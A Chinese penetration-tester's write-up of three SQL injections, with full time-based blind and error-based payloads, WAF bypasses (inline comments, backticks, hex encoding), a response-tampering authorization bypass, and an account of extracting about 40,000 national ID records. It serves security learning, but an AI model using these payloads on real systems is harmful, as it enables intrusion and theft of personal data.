这个SQL注入有点东西,最近遇到了几个比较有意思的SQL注入
前言SQL注入是渗透中比较常见的漏洞类型注入方式也是多种多样的但waf和过滤也是多元的这次和师傅们分享一下最近遇到的几处SQL注入分享一下思路和注入方式如果有理解不正确的地方求大佬指点。参考文章https://www.hacktwohub.com/第一处SQL注入是在这里进行查询抓包然后注入点在日期可以发现加入一个单引号之后返回了报错信息我们对报错信息进行分析一下正常是date_format(2025-06-19 00:00:00,%Y-%m-%d %H:%M:%S)然后我们添加一个单引号后变成了date_format(2025-06-19 00:00:00,%Y-%m-%d %H:%M:%S)这时候我们第一步要做的是进行闭合一开始我这里选择的是插入)#进行闭合于是我构造了2025-06-19 00:00:00) and extractvalue(1,concat(0x0a,(select user()),0x0a))#但是没成功后来又想到了date_format()是有两个参数的于是又构造了2025-06-19 00:00:00,%Y-%m-%d %H:%M:%S) and extractvalue(1,concat(0x0a,(select user()),0x0a))#但还是不对直接本地调试一下吧把完整的语句放进来然后进行调试删除不必要的东西。#SELECT COUNT(1) FROM ( SELECT ss FROM patrol_task AS t JOIN sys_user AS u WHERE date_format ( t.start_time,%Y-%m-%d %H:%M:%S) date_format(2025-06-11 00:00:0011111111111,%Y-%m-%d %H:%M:%S) and extractvalue(0x0a,concat(0x0a,database())))TOTAL# AND date_format (t.end_time,%Y-%m-%d %H:%M:%S) date_format(2025-07-21 23:59:59,%Y-%m-%d %H:%M:%S) ORDER BY t.create_date DESC ) TOTAL最后可以精简到差不多这样后来经过本地调试之后发现存在一个问题SELECT COUNT(1) FROM ( select username FROM admin AS t JOIN news AS u WHERE 11 and extractvalue(0x0a,concat(0x0a,database())))TOTAL#这样是可以报错出结果的也就是说按理说我闭合后拼接and extractvalue(0x0a,concat(0x0a,database())))total#是可以爆出内容的但是网站就是无法报错然后观察网站报错信息发现并不是数据库的那种报错感觉是网站框架自定义的报错可能压根就不会返回报错信息于是我们尝试使用时间盲注正常来说我们闭合之后会拼接if(ascii(substr(user(),1,1))1,sleep(6),0)我们继续在本地调试select count(1) from (select username from admin as t join news as u where 11 and if(ascii(substr(user(),1,1))1,sleep(6),0))total#这是构造完的语句发现可以延时但是换到网站中发现并没有达到延时的效果问题出现在条件这里我们的注入点在这里注入点是起始时间和终止时间这个where后面跟着的这个条件也就是date_format,我们在不知道有没有记录的条件下是无法保障他是有内容(条件为真)的就好比12一样这样可能无法执行后面的延迟语句这就是为什么在本地调试了之后没问题但是网站还是无法进行延迟的原因。因为我们不清楚前面的判断条件是否为真。那我们有没有办法即使前面的条件为假也可也执行后面的语句呢有的兄弟有的。我们直接使用子查询这里给各位师傅们再介绍一下子查询子查询是在语句中再嵌入一个sql语句适合从其他表中提取数据或进行复杂条件判断时使用最内层的语句会被优先执行会比一些逻辑运算和算数运算的优先级高。于是我们构造一个时间盲注子查询语句#select count(1) from (select username from admin as t join news as u where 12 and (select 0 from (select if(ascii(substr(user(),1,1))1,sleep(6),1))x))TOTAL#我们来解析一下这个语句最内层是if(ascii(substr(user(),1,1)1,sleep(6),1))是一个常见的时间盲注截取了user()的首位进行了ascii编码如果ascii编码的值大于1就进行sleep(6)的命令。外面一层是(select 0 from () x)x是给最内层的语句进行一个赋名这个语句会让系统优先执行最内层的时间盲注语句然后判断前面的条件是否为真这样即使前面是12但是已经执行了内层的时间盲注造成了延迟这样就可以进行SQL注入的判断了。所以最终我们的payload为2025-06-19 00:00:00,%Y-%m-%d %H:%M:%S) and (select 0 from (select if(ascii(substr(user(),1,1))1,sleep(6),1))x))TOTAL#达到了一个时间盲注的结果。第二处SQL注入这个SQL注入有非常严格的过滤基本上常见的函数和常见的绕过函数都被过滤的干干净净了。首先要进行一个权限绕过有时候直接修改返回包会有意想不到的结果直接把返回包的false改为true进来之后也是一个查询的地方去抓包注入点是ordertype一个单引号报错两个单引号正常但是过滤非常非常严格常见的几乎没有能用的东西,发现还是时间盲注好用可以使用benchmark(),话不多说直接上payload分析一波orderType1%20or%20Y(point(56.7,53.34))%20or%20(select/**/0/**/from/**/(select/**/if((ascii(right(left(user/*!55555*/(),1),1))!1),(select/*!55555555555555555*/benchmark(511111111,1)),1))x)首先是1 or Y(point(56.7,53.34))这是使用了mysql的Y()函数去获得了Y的坐标其实就类似于一个恒真的表达式起到了一些绕过的作用。/**/ 绕过了空格的过滤/*!55555*/ 是mysql的内联注释left(right())的搭配使用可以绕过一些waf提高复杂度防止被识别到数字55555是一个任意大的版本号当MySQL服务器版本 ≥ 指定版本号时执行注释中的代码由于55555不可能达到实际上总是执行所以通过这种方式可以绕过user()的识别。后面的select/\*!55555555555555555\*/benchmark(511111111,1)是一个原理系统监测了select benchmark()会被拦截但是使用内联注释之后就可以绕过识别从而达到执行语句的结果。这里依旧是使用了子查询语句我们分析代码1%20or%20Y(point(56.7,53.34))%20or%20(select/**/0/**/from/**/(select/**/if((ascii(right(left(user/*!55555*/(),1),1))!1),(select/*!55555555555555555*/benchmark(511111111,1)),1))x)发现使用了两个or而Y()是恒为真的但是我们依旧无法判断ordertype1是否存在如果不存在的话那么ordertype1为假而Y()为真我们最后的注入语句就无法实现精准判断所以我们这里使用子查询语句就不用考虑ordertype1的真假性。系统先执行内层语句也就是select if((ascii(right(left(user/*!55555*/(),1),1))!1),(select/*!5555555555555555555555*/benchmark(51111111,1),1))select 0 from () x达到了一个时间盲注的目的。第三处SQL注入这是一个拿身份证查信息的接口tj是注入点加一个单引号可以看到进行报错。多加几个单引号分析一下。可以看到原本的逻辑应该是 sfzh123123 and xm12331这里的123123是我随便输入的身份证号,12331是我随意输入的姓名。于是构造闭合直接让tjsfzh1#,这样进行闭合这样就变成了sfzh1 and (注入语句) #然后这里and or 被过滤了我选择使用 || 来代替发现|| 11#会爆502而|| 12#会出现内容然后因为有报错信息所以尝试报错注入发现extractvalue()floor(),updatexml(),exp()什么的都被过滤了然后使用 反引号绕过。extractvalue(1,concat(0x0a,version()))#也就是这样去绕过concat()也被过滤了直接也这样绕过。成功报错注入了后来想证明数据库是什么权限的时候发现user()也被过滤了但是user()是没有办法使用 反引号去隔开绕过的常见的方法也过滤了不少我这里选择使用current_user去替换可以看到是成功报错了。因为是使用身份证去查询的接口想着可以查询一下有没有敏感信息可以发现现在是已经在sfzh这个表里了我们去查sfzh这个字段就相对来说比较容易我们可以使用like去进行模糊查询比如sfzh like 1%like是一个模糊匹配的作用而1%是需要用单引号括起来的我们这样的目的是模糊匹配sfzh这个字段1开头的信息也就是查询身份证号是1开头的个人信息。但是并没有如愿的出现内容观察报错信息发现单引号被转义了这里我们使用16进制编码绕过。2%为0x3225可以看到匹配到了非常多的信息身份证、姓名、单位、学校、等数据然后继续匹配其他身份证开头数字共计约4w条身份证以上是最近在测试中遇到的较为有意思的SQL注入希望对各位师傅们有帮助以上是我的一些理解如果有错误的地方希望大佬指正。